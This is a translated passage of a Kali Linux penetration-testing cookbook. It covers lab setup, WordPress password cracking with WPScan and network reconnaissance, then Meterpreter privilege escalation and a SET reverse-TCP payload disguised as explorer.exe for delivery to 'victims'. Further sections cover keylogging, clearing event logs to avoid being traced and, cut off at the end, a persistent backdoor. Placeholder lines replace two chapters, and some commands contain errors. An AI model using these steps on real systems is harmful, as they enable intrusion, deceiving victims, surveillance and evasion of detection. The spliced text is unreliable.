4. 点击`Start`按钮,之后点击内部的新窗口,并执行安装。安装步骤在这一章的“安装到硬盘”中有所涉及。
### 工作原理
这一章以创建新的VirtualBox虚拟实例来开始,之后我们选择了我们的操作系统,并设置内存和硬盘大小。之后,我们选择了 ISO 文件,之后将 ISO 插入我们的虚拟 CD/DVD 驱动器中。最后,我们启动了虚拟环境,便于安装操作系统。
在这一章的剩余部分中,我们会使用VirtualBox作为所选工具来建立不同的环境。
### 更多
我们所执行的操作可能会让主机不稳定甚至崩溃。VirtualBox提供了杰出的工具来备份虚拟环境:
1. 在主窗口中,点击你打算备份的虚拟服务器:
2. 右击虚拟服务器,点击`Clone`菜单项:
![](img/3-1-9.jpg)
3. 在克隆窗口中,为你的新虚拟服务器输入名称。
![](img/3-1-10.jpg)
4. 点击`Next`,在随后的界面中,选择`Linked clone ``Full clone`,它们在下面展示:
+ `Full clone`:在完整克隆的模式中,会创建完全独立的虚拟机备份。
+ `Linked clone`:在链接克隆的模式中,会截取快照来创建备份。但是,链接克隆依赖于原始文件的功能。这会降低链接克隆的性能。
![](img/3-1-11.jpg)
5. 点击`Clone`并等待虚拟机克隆完成。
![](img/3-1-12.jpg)
## 3.2 下载 Windows 靶机
到目前为止,以及可见的未来中,微软的 Windows 系统都是许多个人和企业所选的操作系统。
幸运的是,微软提供了一种方法来获取测试操作系统。
### 准备
需要互联网或内部网络连接来完成这个模块。
### 操作步骤
下载 Windows 靶机的步骤如下所示:
1. 打开浏览器并访问 Microsoft Technet:<http://technet. microsoft.com/en-us/ms376608>
2. 在屏幕的右侧,点击`Downloads`链接:
![](img/3-2-1.jpg)
3.`Download`菜单项中,选择`Evaluate new products`
![](img/3-2-2.jpg)
4. 在下一个界面中,你可以选择要下载的东西,取决于你想要测试的产品。推荐你选择 Windows Server 2012,Windows 8 和 Windows 7。
![](img/3-2-3.jpg)
5. 一旦你下载了 ISO,请遵循这一章“熟悉VirtualBox”秘籍中的指南。
## 3.3 下载 Linux 靶机
对于多数的面向 Web 的服务器的部署,Linux 是一种备选的操作系统。与 Windows 先比,它的开销相对较低(主流发行版免费),这使它成为多数云主机、PAAS和服务器环境的理想操作系统。
这个秘籍中,我们会示例如何下载多种 Linux 发行版。
### 准备
需要互联网或内部网络连接来完成这个模块。
### 操作步骤
下载 Linux 靶机的步骤如下所示:
1. 打开浏览器并访问 Distro Watch:<http://www.distrowatch.com>
2. 你会看到超过 100 个 Linux 发行版的列表。推荐选择一个最小的发行版,而不是流行的版本(CentOS、Ubuntu、Fedora 和 Debian)。这个页面像下面这样:
![](img/3-3-1.jpg)
3. 一旦你下载了 ISO,请遵循这一章“熟悉VirtualBox”秘籍中的指南。
## 3.4 攻击 WordPress 和其它应用
选择越来越多的公司在日常业务中使用 SAAS (软件及服务)工具。例如,公司普遍使用 WordPress作为网站的内容管理系统,或 Drupal 作为内部网络。在这些应用中定位漏洞的能力具有极大的价值。
收集被测试应用的一个很好的方式就是 [Turnkey Linux](http://www. turnkeylinux.org)。这个秘籍中,我们会下载流行的 WordPress Turnkey Linux 发行版。
### 准备
需要互联网或内部网络连接来完成这个模块。
### 操作步骤
攻击 WordPress 应用的步骤如下所示:
1. 打开浏览器并访问 Turnkey Linux 的主页:<http://www. turnkeylinux.org>。主页如图所示:
![](img/3-4-1.jpg)
2. 有许多应用在这里列出,我推荐都试试它们,便于你发现漏洞并提升这方面的技能。但是,对于这个秘籍,我们只测试 WordPress。在` Instant Search`框中,输入`WordPress`
![](img/3-4-2.jpg)
3. 在 WordPress 下载页面中,选择 ISO 镜像。下载完成后,请遵循这一章“熟悉VirtualBox”秘籍中的指南:
![](img/3-4-3.jpg)
### 更多
既然我们加载的 WordPress 虚拟机,我们可以使用 WPScan 来攻击它了。WPScan 是个黑盒的 WordPress 安全扫描器,允许用户发现 WordPress 上的漏洞。
WPScan 接受多种参数,包括:
+ `-u <目标域名或 url>`:参数`u`允许你指定目标的域名。
+ `-f`:参数`f`允许你强制检查WordPress是否安装。
+ `-e[选项]`:参数`e`允许你设置枚举。
让我们开始使用 WPScan。
> 确保你的 WordPress虚拟机和 Kali Linux 虚拟机都开着,并使用`VirtualBox Host Only Adapter `网络设置。
1. 在 Kali Linux 虚拟机中,加载器 WPScan 帮助文件:
```
wpscan -h
```
页面会像下面这样:
![](img/3-4-4.jpg)
2. 让我们对WordPress虚拟机执行基本的 WPScan测试。这里,我们靶机的IP地址是`192.168.56.102`
```
wpscan –u 192.168.56.102
```
3. 现在,让我们通过执行下列命令枚举用户名列表:
```
wpscan –u 192.186.56.102 –e u vp
```
页面会像下面这样:
![](img/3-4-5.jpg)
4. 最后,我们通过使用`–wordlist <文件路径>`选项来提供单词列表:
```
wpscan –u 192.168.56.102 -e u --wordlist /root/wordlist.txt
```
页面会像下面这样:
![](img/3-4-6.jpg)
5. 这就结束了。我们已经成功获取了 WordPress 的密码。
# 第四章 信息收集
> 作者:Willie L. Pritchett, David De Smet
> 译者:[飞龙](https://github.com/)
> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
## 简介
攻击的重要阶段之一就是信息收集。为了能够实施攻击,我们需要收集关于目标的基本信息。我们获得的信息越多,攻击成功的概率就越高。
我也强调这一阶段的一个重要方面,它就是记录。在编写这本书的时候,最新的Kali发行版包含了一组工具用于帮助我们核对和组织来自目标的数据,以便我们更好地侦查目标。类似Maltego CaseFile和 KeepNote的工具就是一个例子。
## 4.1 服务枚举
在这个秘籍中,我们将会展示一些服务枚举的小技巧。枚举是我们从网络收集信息的过程。我们将要研究DNS枚举和SNMP枚举技术。DNS枚举是定位某个组织的所有DNS服务器和DNS条目的过程。DNS枚举允许我们收集有关该组织的重要信息,例如用户名、计算机名称、IP地址以及其它。为了完成这些任务我们会使用DNSenum。对于SNMP枚举,我们会使用叫做SnmpEnum的工具,它是一个强大的SNMP枚举工具,允许我们分析网络上的SNMP流量。
### 操作步骤
让我们以DNS枚举作为开始:
1. 我们使用DNSenum进行DNS枚举。为了开始DNS枚举,打开Gnome终端,并且输入以下命令:
```
cd /usr/bin
./dnsenum --enum adomainnameontheinternet.com
```
> 请不要在不属于你的公共网站或者不是你自己的服务器上运行这个工具。这里我们将`adomainnameontheinternet.com`作为一个例子,你应该替换掉这个目标。要当心!
2. 我们需要获取信息输出,例如主机、名称服务器、邮件服务器,如果幸运的话还可以得到区域转换:
![](img/4-1-1.jpg)
3. 我们可以使用一些额外的选项来运行DNSenum,它们包括这些东西:
+ `-- threads [number]`允许你设置一次所运行的线程数量。
+ `-r`允许你开启递归查找。
+ `-d`允许你设置在WHOIS请求之间的时间延迟,单位为秒。
+ `-o`允许我们制定输出位置。
+ `-w`允许我们开启WHOIS查询。
> 更多WHOIS上的例子,请见[WHOIS的维基百科](http://en.wikipedia.org/wiki/Whois)。
4. 我们可以使用另一个命令`snmpwalk`来检测Windows主机。Snmpwalk是一个使用SNMP GETNEXT请求在网络实体中查询信息树的SNMP应用。在命令行中键入下列命令:
```
snmpwalk -c public 192.168.10.200 -v 2c
```
5. 我们也可以枚举安装的软件:
```
snmpwalk -c public 192.168.10.200 -v 1 | grep hrSWInstalledName
HOST-RESOURCES-MIB::hrSWInstalledName.1 = STRING: "VMware Tools"
HOST-RESOURCES-MIB::hrSWInstalledName.2 = STRING: "WebFldrs"
```
6. 以及使用相同工具枚举开放的TCP端口:
```
snmpwalk -c public 192.168.10.200 -v 1 | grep tcpConnState | cut -d"." -f6 | sort –nu
21
25
80
443
```
7. 另一个通过SNMP收集信息的工具叫做`snmpcheck`
```
cd /usr/bin
snmpcheck -t 192.168.10.200
```
8. 为了使用fierce(一个尝试多种技术来寻找所有目标所用的IP地址和域名的工具)进行域名扫描,我们可以键入以下命令:
```
cd /usr/bin
fierce -dns adomainnameontheinternet.com
```
> 请不要在不属于你的公共网站或者不是你自己的服务器上运行这个工具。这里我们将`adomainnameontheinternet.com`作为一个例子,你应该替换掉这个目标。要当心!
9. 为了以指定的词语列表进行相同的操作,键入以下命令:
```
fierce -dns adomainnameontheinternet.com -wordlist hosts.txt -file /tmp/output.txt
```
0. 为了在SMTP服务器上启动用户的SMTP枚举,键入以下命令:
```
smtp-user-enum -M VRFY -U /tmp/users.txt -t 192.168.10.200
```
1. 我们现在可以记录所获得的结果了。
## 4.2 判断网络范围
使用上一节中我们所收集的信息,我们就能着眼于判断目标网络的IP地址范围。在这个秘籍中我们将要探索完成它所用的工具。
### 操作步骤
让我们通过打开终端窗口来开始判断网络范围:
1. 打开新的终端窗口,并且键入以下命令:
```
dmitry -wnspb targethost.com -o /root/Desktop/dmitry-result
```
2. 完成之后,我们应该在桌面上得到了一个文本文件,名称为`dmitry-result.txt`,含有收集到的目标信息:
![](img/4-2-1.jpg)
3. 键入以下命令来执行ICMP netmask请求:
```
netmask -s targethost.com
```
4. 使用scapy,我们就可以执行并行路由跟踪。键入以下命令来启动它:
```
scapy
```
5. scapy启动之后,我们现在可以输入以下函数:
```
ans,unans=sr(IP(dst="www.targethost.com/30", ttl=(1,6))/TCP()
```
6. 我们可以输入以下函数来将结果展示为表格:
```
ans.make_table( lambda (s,r): (s.dst, s.ttl, r.src) )
```
结果如下:
```
216.27.130.162 216.27.130.163 216.27.130.164 216.27.130.165
1 192.168.10.1 192.168.10.1 192.168.10.1 192.168.10.1
2 51.37.219.254 51.37.219.254 51.37.219.254 51.37.219.254
3 223.243.4.254 223.243.4.254 223.243.4.254 223.243.4.254
4 223.243.2.6 223.243.2.6 223.243.2.6 223.243.2.6
5 192.251.254.1 192.251.251.80 192.251.254.1 192.251.251.80
```
7. 我们需要键入以下函数来使用scapy获得TCP路由踪迹:
```
res,unans=traceroute(["www.google.com","www.Kali- linux.org","www.targethost.com"],dport=[80,443],maxttl=20, retry=-2)
```
8. 我们只需要键入以下函数来将结果展示为图片:
```
res.graph()
```
![](img/4-2-2.jpg)
9. 保存图片只需要下列命令:
```
res.graph(target="> /tmp/graph.svg")
```
0. 我们可以生成3D展示的图片,通过键入下列函数来实现:
```
res.trace3D()
```
1. 键入以下命令来退出scapy:
```
exit()
```
2. 在获得结果之后,我们现在可以对其做记录。
### 工作原理
在步骤1中,我们使用了`dmitry`来获取目标信息。参数`-wnspub`允许我们在域名上执行WHOIS查询,检索`Netcraft.com`的信息,搜索可能的子域名,以及扫描TCP端口。选项`-o`允许我们将结果保存到文本文件中。在步骤3中,我们建立了一个简单的ICMP netmask请求,带有`-s`选项,来输出IP地址和子网掩码。接下来,我们使用scapy来执行目标上的并行路由跟踪,并在表格中展示结果。在步骤7中,我们在不同主机的80和443端口上执行了TCP路由跟踪,并且将最大TTL设置为20来停止这个过程。在获得结果之后,我们创建了它的图片表示,将它保存到临时目录中,同时创建了相同结果的3D表示。最后,我们退出了scapy。
## 4.3 识别活动主机
在尝试渗透之前,我们首先需要识别目标网络范围内的活动主机。
一个简单的方法就是对目标网络执行`ping`操作。当然,这可以被主机拒绝或忽略,这不是我们希望的。
### 操作步骤
让我们打开终端窗口,开始定位活动主机:
1. 我们可以使用Nmap来判断某个主机是否打开或关闭,像下面这样:
```
nmap -sP 216.27.130.162
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-04-27 23:30 CDT
Nmap scan report for test-target.net (216.27.130.162)
Host is up (0.00058s latency).
Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds
```
2. 我们也可以使用Nping(Nmap组件),它提供给我们更详细的结果:
```
nping --echo-client "public" echo.nmap.org
```
![](img/4-3-1.jpg)
3. 我们也可以向指定端口发送一些十六进制数据:
```
nping -tcp -p 445 –data AF56A43D 216.27.130.162
```
## 4.4 寻找开放端口
在了解目标网络范围和活动主机之后,我们需要执行端口扫描操作来检索开放的TCP和UDP端口和接入点。
### 准备
完成这个秘籍需要启动Apache Web服务器。
### 操作步骤
让我们通过打开终端窗口,开始寻找开放端口:
1. 运行终端窗口并输入下列命令作为开始:
```
nmap 192.168.56.101
```
![](img/4-4-1.jpg)
2. 我们也可以显式指定要扫描的端口(这里我们指定了1000个端口):
```
nmap -p 1-1000 192.168.56.101
```
![](img/4-4-2.jpg)
3. 或指定Nmap来扫描某个组织所有网络的TCP 22端口:
```
nmap -p 22 192.168.56.*
```
![](img/4-4-3.jpg)
4. 或者以特定格式输出结果:
```
nmap -p 22 192.168.10.* -oG /tmp/nmap-targethost-tcp445.tx
```
### 工作原理
这个秘籍中,我们使用Nmap来扫描我们网络上的目标主机,并判断开放了哪个端口。
### 更多
Nmap的GUI版本叫做Zenmap,它可以通过在终端上执行`zenmap`命令,或者访问`Applications | Kali Linux | Information Gathering | Network Scanners | zenmap`来启动。
![](img/4-4-4.jpg)
## 4.5 操作系统指纹识别
到信息收集的这个步骤,我们应该记录了一些IP地址,活动主机,以及所识别的目标组织的开放端口。下一步就是判断活动主机上运行的操作系统,以便了解我们所渗透的系统类型。
### 准备
需要用到Wireshark捕获文件来完成这个秘籍的步骤2。
### 操作步骤
让我们在终端窗口中进行OS指纹识别:
1. 我们可以使用Nmap执行下列命令,带有`-O`命令来开启OS检测功能:
```
nmap -O 192.168.56.102
```
![](img/4-5-1.jpg)
2. 使用`p0f`来分析Wireshark捕获文件:
```
p0f -s /tmp/targethost.pcap -o p0f-result.log -l
p0f - passive os fingerprinting utility, version 2.0.8
(C) M. Zalewski <lcamtuf@dione.cc>, W. Stearns
<wstearns@pobox.com>
p0f: listening (SYN) on 'targethost.pcap', 230 sigs (16 generic), rule: 'all'.
[+] End of input file.
```
## 4.6 服务指纹识别
判断运行在特定端口上的服务是目标网络上成功渗透的保障。它也会排除任何由OS指纹之别产生的疑惑。
### 操作步骤
让我们通过开始终端窗口来进行服务指纹识别:
1. 打开终端窗口并键入以下命令:
```
nmap -sV 192.168.10.200
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-03-28 05:10 CDT
Interesting ports on 192.168.10.200:
Not shown: 1665 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd 5.0
25/tcp open smtp Microsoft ESMTP 5.0.2195.6713
80/tcp open http Microsoft IIS webserver 5.0
119/tcp open nntp Microsoft NNTP Service 5.0.2195.6702 (posting ok)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
443/tcp open https?
445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds
1025/tcp open mstask Microsoft mstask
1026/tcp open msrpc Microsoft Windows RPC
1027/tcp open msrpc Microsoft Windows RPC
1755/tcp open wms?
3372/tcp open msdtc?
6666/tcp open nsunicast Microsoft Windows Media Unicast Service (nsum.exe)
MAC Address: 00:50:56:C6:00:01 (VMware)
Service Info: Host: DC; OS: Windows
Nmap finished: 1 IP address (1 host up) scanned in 63.311 seconds
```
2. 我们也可以使用`amap`来识别运行在特定端口或端口范围内的应用,比如下面这个例子:
```
amap -bq 192.168.10.200 200-300
amap v5.4 (www.thc.org/thc-amap) started at 2012-03-28 06:05:30 - MAPPING mode
Protocol on 127.0.0.1:212/tcp matches ssh - banner: SSH-2.0- OpenSSH_3.9p1\n
Protocol on 127.0.0.1:212/tcp matches ssh-openssh - banner: SSH-2.0-OpenSSH_3.9p1\n
amap v5.0 finished at 2005-07-14 23:02:11
```
## 4.7 Maltego 风险评估
在这个秘籍中,我们将要开始使用Maltego的特殊Kali版本,它可以在信息收集阶段协助我们,通过将获得的信息以易于理解的形式展示。Maltego是开源的风险评估工具,被设计用来演示网络上故障单点的复杂性和严重性。它也具有从内部和外部来源聚合信息来提供简洁的风险图表的能力。
### 准备
需要一个账号来使用Maltego。访问[https://www.paterva.com/web6/community/](https://www.paterva.com/web6/community/)来注册账号。
### 操作步骤
让我们从启动Maltego开始:
1. 访问` Applications | Kali Linux | Information Gathering | OSINT Analysis | maltego`来启动Maltego。窗口如下:
![](img/4-7-1.jpg)
2. 点击开始向导的`Next`来查看登录细节:
![](img/4-7-2.jpg)
3. 点击`Next`来验证我们的登录凭证。验证之后,点击`Next`以继续:
4. 选择transform seed设置,之后点击`Next`
![](img/4-7-3.jpg)
5. 这个向导在跳到下个页面之前会执行多次操作。完成之后,选择`Open a blank graph and let me play around`并点击`Finish`
![](img/4-7-4.jpg)
6. 最开始,将`Domain`实体从`Palette`组件拖放到`New Graph`标签页中。
![](img/4-7-5.jpg)
7. 通过点击创建的`Domain`实体来设置目标域名,并且编辑`Property View`中的`Domain Name`属性。
![](img/4-7-6.jpg)
8. 目标一旦设置好,我们就可以开始收集信息了。最开始,右键点击创建的`Domain`实体,并且选择`Run Transform`来显示可用的选项:
![](img/4-7-7.jpg)
9. 我们可以选择查找DNS名称,执行WHOIS查询,获得邮件地址,以及其它。或者我们还可以选择运行下面展示的全部转换。
![](img/4-7-8.jpg)
0. 我们甚至可以通过在链接的子节点上执行相同操作,来获得更多信息,直到我们找到了想要的信息。
### 工作原理
在这个秘籍中,我们使用Maltego来映射网络。Maltego是一个开源工具,用于信息收集和取证,由Paterva出品。我们通过完成开始向导来开始这个秘籍。之后我们使用`Domain`实体,通过将它拖到我们的图表中。最后,我们让Maltego完成我们的图表,并且查找各种来源来完成任务。Maltego十分有用,因为我们可以利用这一自动化的特性来快速收集目标信息,例如收集邮件地址、服务器的信息、执行WHOIS查询,以及其它。
> 社区版只允许我们在信息收集中使用75个转换。Maltego的完整版需要$650。
### 更多
启用和禁用转换可以通过`Manage`标签栏下方的`Transform Manager`窗口设置:
![](img/4-7-9.jpg)
一些转换首先需要接受才可以使用。
## 4.8 映射网络
使用前面几个秘籍获得的信息,我们就可以创建该组织网络的蓝图。在这一章的最后一个·秘籍中,我们会了解如何使用Maltego CaseFile来可视化地编译和整理所获得的信息。
`CaseFile`就像开发者的网站上那样,相当于不带转换的Maltego,但拥有大量特性。多数特性会在这个秘籍的“操作步骤”一节中展示。
### 操作步骤
当我们从启动CaseFile来开始:
1. 访问`Applications | Kali Linux | Reporting Tools | Evidence Management | casefile`来启动CaseFile。
2. 点击CaseFile应用菜单的`New`来创建新的图表:
![](img/4-8-1.jpg)
3. 就像Maltego那样,我们将每个实体从`Palette`组建拖放到图表标签页中。让我们从拖放`Domain`实体以及修改`Domain Name`属性来开始。
![](img/4-8-2.jpg)
4. 将鼠标指针置于实体上方,并且双击注解图标来添加注解。
![](img/4-8-3.jpg)
5. 让我们拖放另一个实体来记录目标的DNS信息:
![](img/4-8-4.jpg)
6. 链接实体只需要在实体之前拖出一条线:
![](img/4-8-5.jpg)
7. 按需自定义链接的属性:
![](img/4-8-6.jpg)
8. 重复步骤5~7来向图中添加更多关于该组织网络的信息。
![](img/4-8-7.jpg)
9. 最后我们保存了信息图表。图表的记录可以在之后打开和编辑,如果我们需要的话,和我们从已知目标获得更多信息的情况一样。
### 工作原理
在这个秘籍中,我们使用Maltego CaseFile来映射网络。CaseFile是个可视化的智能应用,可以用于判断数百个不同类型信息之间的关系和现实世界的联系。它的本质是离线情报,也就是说它是个手动的过程。我们以启动CaseFile并且创建新的图表作为开始。接下来,我们使用了收集到或已知的目标网络信息,并且开始向图表中添加组件来做一些设置。最后保存图表来结束这个秘籍。
### 更多
我们也可以加密图表记录,使它在公众眼里更安全。为了加密图表,需要在保存的时候选择`Encrypt (AES-128)`复选框并提供一个密码。
此差异已折叠。
此差异已折叠。
# 第七章 权限提升
> 作者:Willie L. Pritchett, David De Smet
> 译者:[飞龙](https://github.com/)
> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
## 简介
我们已经获得了想要攻击的计算机的权限。于是将权限尽可能提升就非常重要。通常,我们能访问较低权限的用户账户(计算机用户),但是,我们的目标账户可能是管理员账户。这一章中我们会探索几种提升权限的方式。
## 7.1 使用模拟令牌
这个秘籍中,我们会通过使用模拟令牌,模拟网络上的另一个用户。令牌包含用于登录会话和识别用户、用户组合用户权限的安全信息。当用户登入 Windows 系统是,它们会得到一个访问令牌,作为授权会话的一部分。令牌模拟允许我们通过模拟指定用户来提升自己的权限。例如,系统账户可能需要以管理员身份运行来处理特定的任务。并且他通常会在结束后让渡提升的权限。我们会使用这个弱点来提升我们的访问权限。
### 准备
为了执行这个秘籍,我们需要:
+ 内部网络或互联网的连接。
+ 受害者的目标主机
### 操作步骤
我们从 Meterpreter 开始探索模拟令牌。你需要使用 Metasploit 来攻击主机,以便获得 Meterpreter shell。你可以使用第六章的秘籍之一,来通过 Metasploit 获得访问权限。
![](img/7-1-1.jpg)
下面是具体步骤:
1. 我们可以在 Meterpreter 使用`incognito`来开始模拟过程:
```
use incognito
```
2. 展示`incognito`的帮助文档,通过输入`help`命令:
```
help
```
3. 你会注意到我们有几个可用的选项:
![](img/7-1-2.jpg)
4. 下面我们打算获得可用用户的列表,这些用户当前登入了系统,或者最近访问过系统。我们可以通过以`-u`执行`list_tokens`命令来完成它。
```
list_tokens –u
```
![](img/7-1-3.jpg)
5. 下面,我们执行模拟攻击。语法是`impersonate_token [name of the account to impersonate]`
```
impersonate_token \\willie-pc\willie
```
6. 最后,我们选择一个 shell 命令来运行。如果我们成功了,我们就以另一个用户的身份在使用当前系统。
### 工作原理
这个秘籍中,我们以具有漏洞的主机开始,之后使用 Meterpreter 在这台主机上模拟另一个用户的令牌。模拟攻击的目的是尽可能选择最高等级的用户,最好是同样跨域连接的某个人,并且使用它们的账户来深入挖掘该网络。
## 7.2 本地提权攻击
这个秘籍中,我们会在一台具有漏洞的主机上进行提权。本地提权允许我们访问系统或域的用户账户,从而利用我们所连接的当前系统。
### 准备
为了执行这个秘籍,我们需要:
+ 内部网络或互联网的连接。
+ 使用 Metasploit 框架的具有漏洞的主机。
### 操作步骤
让我们在 Meterpreter shell 中开始执行本地提权攻击。你需要使用 Metasploit 攻击某个主机来获得 Meterpreter shell。你可以使用第六章的秘籍之一,来通过 Metasploit 获得主机的访问。
1. 一旦你通过 Metasploit 和 Meterpreter shell 获得了受害者的访问权限,等待你的 Meterpreter 显示提示符。
![](img/7-2-1.jpg)
2. 下面,使用`-h`选项查看`getsystem `的帮助文件:
```
getsystem –h
```
3. 最后我们不带任何选项来运行`getsystem`
```
getsystem
```
> 如果你尝试获得 Windows 7 主机的访问,你必须在执行`getsystem`命令之前执行`bypassuac `。`bypassuac `允许你绕过[微软的用户账户控制](http://windows.microsoft.com/en-us/windows7/products/ features/user-account-control)。这个命令这样运行:`run post/windows/escalate/bypassuac`。
4. 下面,我们执行最后的命令来获取访问。
5. 这就结束了。我们已经成功进行了提权攻击。
### 工作原理
这个秘籍中,我们使用了 Meterpreter 对受害者的主机进行本地提权攻击。我们从 Meterpreter 中开始这个秘籍。之后我们执行了`getsystem `命令,它允许 Meterpreter 尝试在系统中提升我们的证书。如果成功了,我们就有了受害者主机上的系统级访问权限。
## 7.3 掌握社会工程工具包(SET)
这个秘籍中,我们会探索社会工程工具包(SET)。SET 是个包含一些工具的框架,让你能够通过骗术来攻击受害者。SET 由 David Kennedy 设计。这个工具很快就成为了渗透测试者工具库中的标准。
### 操作步骤
掌握 SET 的步骤如下所示。
1. 打开终端窗口,通过按下终端图标,并访问 SET 所在的目录:
```
se-toolkit
```
2. 完成之后,你会看到 SET 菜单。SET 菜单有如下选项:
+ Social-Engineering Attacks (社会工程攻击)
+ Fast-Track Penetration Testing (快速跟踪渗透测试)
+ Third Party Modules (第三方模块)
+ Update the Metasploit Framework (更新 Metasploit 框架)
+ Update the Social-Engineer Toolkit (更新社会工程工具包)
+ Update SET configuration (更新 SET 配置)
+ Help, Credits, and About (帮助,作者和关于)
+ Exit the Social-Engineer Toolkit(退出社会工程工具包)
> 在进行攻击之前,最好先将升级 SET ,因为作者经常会升级它。
这些选项如下图所示:
![](img/7-3-1.jpg)
3. 出于我们的目的,我们选择第一个选项来开始社会工程攻击:
```
1
```
4. 我们现在会看到社会工程攻击的列表,它们展示在下面的截图中。出于我们的目的,我们使用` Create a Payload and Listener`(创建载荷和监听器,选项 4)。
```
4
```
![](img/7-3-2.jpg)
5. 下面,我们被询问输入载荷的 IP 来反转链接。这里,我们输入我们的 IP 地址:
```
192.168.10.109
```
![](img/7-3-3.jpg)
6. 你会看到载荷的列表和描述,它们为`Payload and Listener`选项生成。选择`Windows Reverse_TCP Meterpreter`。这会让我们连接到目标上,并对其执行 Meterpreter 载荷。
```
2
```
![](img/7-3-4.jpg)
7. 最后,我们被询问作为监听器端口的端口号。已经为你选择了 443,所以我们就选择它了。
```
443
```
8. 一旦载荷准备完毕,你会被询问来启动监听器,输入`Yes`
![](img/7-3-5.jpg)
9. 你会注意到 Metasploit 打开了一个处理器。
![](img/7-3-6.jpg)
### 工作原理
这个秘籍中,我们探索了 SET 的用法。SET 拥有菜单风格的接口,使它易于生成用于欺骗受害者的工具。我们以初始化 SET 开始,之后,SET 为我们提供了几种攻击方式。一旦我们选择了它,SET 会跟 Metasploit 交互,同时询问用户一系列问题。在这个秘籍的最后,我们创建了可执行文件,它会提供给我们目标主机的 Meterpreter 活动会话。
### 更多
作为替代,你可以从桌面上启动 SET,访问`Applications | Kali Linux | Exploitation Tools | Social Engineering Tools | Social Engineering Toolkit | Set`
**将你的载荷传给受害者**
下面的步骤会将你的载荷传给受害者。
1. 在 SET 目录下,你胡注意到有个 EXE 文件叫做`msf.exe`。推荐你将文件名称修改为不会引起怀疑的名称。这里,我们将它改为`explorer.exe`。最开始,我们打开终端窗口并访问 SET 所在的目录。
```
cd /usr/share/set
```
2. 之后我们获得目录中所有项目的列表。
```
ls
```
3. 之后我们将这个文件重命名为`explorer.exe`
```
mv msf.exe explorer.exe
```
![](img/7-3-7.jpg)
4. 现在我们压缩` explorer.exe`载荷。这里,ZIP 归档叫做`healthyfiles`
```
zip healthyfiles explorer.exe
```
5. 既然你已经拥有了 ZIP 归档,你可以把文件以多种方式分发给受害者。你可以通过电子邮件来传递,也可以放进 U 盘并手动在受害者机器中打开,以及其它。探索这些机制会给你想要的结果来达成你的目标。
## 7.4 收集受害者数据
这个秘籍中,我们会探索如何使用 Metasploit 来收集受害者的数据。有几种方式来完成这个任务,但是我们会探索在目标机器上记录用户击键顺序的方式。收集受害者数据可以让我们获得潜在的额外信息,我们可以将其用于进一步的攻击中。对于我们的例子,我们会收集目标主机上用户输入的击键顺序。
### 准备
为了执行这个秘籍,我们需要:
+ 内部网络或互联网的连接。
+ 使用 Metasploit 框架的具有漏洞的主机。
### 操作步骤
让我们开始通过 Meterpreter shell 来收集受害者数据。你需要使用 Metasploit 攻击某个主机来获得 Meterpreter shell。你可以使用第六章的秘籍之一,来通过 Metasploit 获得目标主机的访问。
1. 一旦你通过 Metasploit 和 Meterpreter shell 获得了受害者的访问权限,等待你的 Meterpreter 显示提示符。
![](img/7-4-1.jpg)
2. 下面,我们执行下面的命令来开启键盘记录器:
```
keyscan_start
```
![](img/7-4-2.jpg)
3. 最后,我们输入` keyscan_dump`命令,将用户的击键顺序输出到屏幕上。
```
keyscan_dump
```
### 工作原理
这个秘籍中,我们使用 Meterpreter 收集了受害者的数据。
### 更多
有一种不同的方式,你可以使用它们来收集受害者机器上的数据。这个秘籍中,我们使用了 Metasploit 和 Metasploit keyscan 来记录击键顺序,但是我们也可以使用 Wireshark 或 airodump-ng 来更简单地收集数据。
这里的关键是探索其它工具,便于你找到最喜欢的工具来完成你的目标。
## 7.5 清理踪迹
这个秘籍中,我们会使用 Metasploit 来清除我们的踪迹。在黑进主机之后执行清理是个非常重要的步骤,因为你不想在经历所有麻烦来获得访问权限之后还被人查水表。幸运的是,Metasploit 拥有一种方式来非常简单地清除我们的踪迹。
### 准备
为了执行这个秘籍,我们需要:
+ 内部网络或互联网的连接。
+ 使用 Metasploit 框架的具有漏洞的主机。
### 操作步骤
需要执行步骤如下所示:
1. 让我们开始使用 Meterpreter shell 来清理我们的踪迹。你需要使用 Metasploit 攻击某个主机来获得 Meterpreter shell。你可以使用第六章的秘籍之一,来通过 Metasploit 获得目标主机的访问。一旦你通过 Metasploit 和 Meterpreter shell 获得了受害者的访问权限,等待你的 Meterpreter 显示提示符。
![](img/7-5-1.jpg)
2. 下面,我们需要运行 IRB,以便进行日志移除操作。我们打开帮助文件:
```
irb
```
![](img/7-5-2.jpg)
3. 下面,我们告诉 IRB 要移除哪个文件。下面是一个可用的选择:
```
log = client.sys.eventlog.open('system')
log = client.sys.eventlog.open('security')
log = client.sys.eventlog.open('application')
log = client.sys.eventlog.open('directory service')
log = client.sys.eventlog.open('dns server')
log = client.sys.eventlog.open('file replication service')
```
4. 出于我们的目的,我们把它们都清理掉。你需要将这些一次键入:
```
log = client.sys.eventlog.open('system')
log = client.sys.eventlog.open('security')
log = client.sys.eventlog.open('application')
log = client.sys.eventlog.open('directory service')
log = client.sys.eventlog.open('dns server')
log = client.sys.eventlog.open('file replication service')
```
5. 现在我们执行命令来清理日志文件:
```
Log.clear
```
6. 这就结束了。我们只用了这么少的命令就能清理我们的踪迹。
### 工作原理
这个秘籍中,我们使用 Meterpreter 来清理我们在目标主机上的踪迹。我们从 Meterpreter 中开始这个秘籍,并启动了 IRB(一个 Ruby 解释器 shell)。下面,我们指定了想要清理的文件,并且最后键入了`Log.clear `命令来清理日志。要记住,一旦我们黑进了某个主机,你需要在最后执行这一步。你不能在清理踪迹之后再执行更多的操作,这样只会更加更多的日志条目。
## 7.6 创建永久后门
这个秘籍中,我们会使用 Metasploit persistence 来创建永久后门。一旦你成功获得了目标机器的访问权限,你需要探索重新获得机器访问权的方式,而不需要再次黑进它。如果目标机器的用户做了一些事情来终端连接,比如重启机器,后门的作用就是允许重新建立到你机器的连接。这就是创建后门非常方便的原因,它可以让你控制目标机器的访问。
### 准备
为了执行这个秘籍,我们需要:
+ 内部网络或互联网的连接。
+ 使用 Metasploit 框架的具有漏洞的主机。
### 操作步骤
